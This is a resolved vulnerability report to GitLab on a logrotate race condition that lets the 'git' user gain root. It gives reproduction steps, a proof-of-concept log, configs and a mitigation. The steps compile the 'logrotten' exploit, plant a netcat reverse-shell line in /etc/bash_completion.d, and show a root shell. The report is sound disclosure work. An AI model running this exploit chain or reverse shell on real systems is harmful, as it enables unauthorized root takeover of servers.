Privilege escalation due to insecure use of logrotate
Low
G
GitLab
Submitted None
Actions:
Reported by
petee
Vulnerability Details
Technical details and impact analysis
### Summary
Gitlab sets the ownership of the logdirectory to the system-user "git", which might let local users obtain root access because of unsafe interaction with logrotate.
### Steps to reproduce
Please note that the exploit is just a proof-of-concept. In order to win the race reliably the following requirements should met:
* filesystem on bare disk. don't use lvm2 or overlayfs
* don't use containers
* stop auditd
* stop tuned
* don't use selinux or apparmor
The following steps were tested with gitlab-ce and gitlab-ee on Debian Stretch(amd64):
1. ```apt-get install sudo git build-essential```
2. ```sudo -u git /bin/bash```
3. ```git clone https://github.com/whotwagner/logrotten.git /tmp/logrotten```
4. ```cd /tmp/logrotten && gcc -o logrotten logrotten.c```
5. ```echo "hello gitlab" > /var/log/gitlab/gitlab-workhorse/something.log```
6. ```./logrotten -c /var/log/gitlab/gitlab-workhorse/something.log```
7. ```echo "if [ \`id -u\` -eq 0 ]; then (/bin/nc -e /bin/bash localhost 3333 &); fi" > /etc/bash_completion.d/something.log.1.gz```
8. ```nc -nvlp 3333```
9. A root-shell connects to port 3333 as soon as user root logins(for example via ssh)
### Impact
A privilege escalation from system-user git to system-user root is possible(local root exploit).
### Examples
The path of the logdirectory of gitlab can be manipulated by user git:
```
# logdir in gitlab-ee:
drwxr-xr-x 19 git root 4096 May 12 18:43 /var/log/gitlab/
```
Logfiles rotate once a day(or another frequency if configured) by logrotate as user root. Logrotates
configuration looks like following:
```
# logrotate-config of gitlab-ee:
/var/log/gitlab/gitlab-workhorse/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
```
Due to logrotate is prone to a race-condition it is possible for user "git" to replace the
directory /var/log/gitlab/gitlab-workhorse/ with a symbolik link to any
directory(for example /etc/bash_completion.d). Logrotate will place
files AS ROOT into /etc/bash_completition.d and set the owner of the file to "git".
An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse
root-shell will be executed.
Details of the race-condition can be found at:
- [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)
- [https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges](https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges)
- [https://github.com/whotwagner/logrotten](https://github.com/whotwagner/logrotten)
### What is the current *bug* behavior?
Logrotate will write into any directory with root privileges and change the owner of the created file. This could lead to privilege escalation.
### What is the expected *correct* behavior?
Logrotate must not have permissions to write into any directory.
### Relevant logs and/or screenshots
#### Exploitation
Proof of concept:
```
git@Stretch64:~$ git clone https://github.com/whotwagner/logrotten.git /tmp/logrotten
Cloning into '/tmp/logrotten'...
remote: Enumerating objects: 84, done.
remote: Counting objects: 100% (84/84), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 84 (delta 35), reused 64 (delta 24), pack-reused 0
Unpacking objects: 100% (84/84), done.
git@Stretch64:~$ cd /tmp/logrotten && gcc -o logrotten logrotten.c
git@Stretch64:/tmp/logrotten$ ./logrotten -c /var/log/gitlab/gitlab-workhorse/something.log
Waiting for rotating /var/log/gitlab/gitlab-workhorse/something.log...
Renamed /var/log/gitlab/gitlab-workhorse with /var/log/gitlab/gitlab-workhorse2 and created symlink to /etc/bash_completion.d
Done!
git@Stretch64:/tmp/logrotten$ ls -l /etc/bash_completion.d/
total 20
-rw-r--r-- 1 root root 439 Sep 28 2018 git-prompt
-rw-r--r-- 1 root root 11144 Oct 28 2018 grub
-rw-r--r-- 1 git git 33 May 12 18:44 something.log.1.gz
git@Stretch64:/tmp/logrotten$ echo "if [ \`id -u\` -eq 0 ]; then (/bin/nc -e /bin/bash localhost 3333 &); fi" > /etc/bash_completion.d/something.log.1.gz
git@Stretch64:/tmp/logrotten$ nc -nvlp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55526
id
uid=0(root) gid=0(root) groups=0(root)
ls -la
total 32
drwx------ 4 root root 4096 May 12 18:47 .
drwxr-xr-x 22 root root 4096 Apr 25 18:31 ..
-rw------- 1 root root 1405 May 12 19:59 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 3 root root 4096 May 12 18:47 .config
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Apr 25 18:40 .ssh
-rw------- 1 root root 2194 May 12 17:29 .viminfo
```
Please note that for this example the exploit writes into /etc/bash_completion.d which requires that root logs in. It might be possible to exploit this bug without interaction of user root by writing into /etc/cron.d or anything similar.
### Output of checks
This bug was verified using the following installation methods:
- Omnibus gitlab-ee
- Omnibus gitlab-ce
- Manual installation using the instructions from https://docs.gitlab.com/ee/install/installation.html
#### Logrotate-configs and Logdir in gitlab-ee
/var/opt/gitlab/logrotate/logrotate.d:
```
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-pages/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-rails/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-shell//*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-workhorse/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/nginx/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/unicorn/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
```
Permissions of the parent logdirectory:
```
drwxr-xr-x 19 git root 4096 May 12 19:58 /var/log/gitlab/
```
#### Logrotate-configs and Logdir in gitlab-ce
/var/opt/gitlab/logrotate/logrotate.d:
```
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-pages/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-rails/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-shell//*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/gitlab-workhorse/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/nginx/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
# Generated by gitlab-ctl reconfigure
# Modifications will be overwritten!
/var/log/gitlab/unicorn/*.log {
hourly
rotate 30
compress
copytruncate
missingok
postrotate
endscript
}
```
Permissions of the parent logdirectory:
```
drwxr-xr-x 19 git root 4096 May 10 23:39 /var/log/gitlab/
```
#### Logrotate-configs and Logdir in gitlab manually installed
The following configuration is taken from the installation-instructions that can be found at [https://docs.gitlab.com/ee/install/installation.html](https://docs.gitlab.com/ee/install/installation.html).
[/etc/logrotate.d/gitlab](https://docs.gitlab.com/ee/install/installation.html#set-up-logrotate):
```
/home/git/gitlab/log/*.log {
daily
missingok
rotate 90
compress
notifempty
copytruncate
}
/home/git/gitlab-shell/gitlab-shell.log {
daily
missingok
rotate 90
compress
notifempty
copytruncate
}
```
[Logdir is located in /home/git/gitlab and is configured with user "git"](https://docs.gitlab.com/ee/install/installation.html#clone-the-source):
```
sudo -u git -H git clone https://gitlab.com/gitlab-org/gitlab-ce.git -b X-Y-stable gitlab
```
#### Results of GitLab environment info
#### gitlab-ee
```
gitlab-rake gitlab:env:info
System information
System: Debian 9.9
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.5.3p105
Gem Version: 2.7.6
Bundler Version:1.17.3
Rake Version: 12.3.2
Redis Version: 3.2.12
Git Version: 2.18.1
Sidekiq Version:5.2.5
Go Version: unknown
GitLab information
Version: 11.10.4-ee
Revision: 88a3c791734
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 9.6.11
URL: https://gitlab.example.com
HTTP Clone URL: https://gitlab.example.com/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 9.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
```
#### gitlab-ce
```
System information
System: Debian 9.8
Current User: git
Using RVM: no
Ruby Version: 2.5.3p105
Gem Version: 2.7.6
Bundler Version:1.17.3
Rake Version: 12.3.2
Redis Version: 3.2.12
Git Version: 2.18.1
Sidekiq Version:5.2.5
Go Version: unknown
GitLab information
Version: 11.10.4
Revision: 62c464651d2
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 9.6.11
URL: http://gitlab.example.com
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 9.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
```
### Mitigation
Change the owner and group of /var/log/gitlab to root or use the "su"-directive in the logrotate configuration file.
## Impact
A privilege escalation from local system-user git to system-user root is possible(local root exploit).
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Privilege Escalation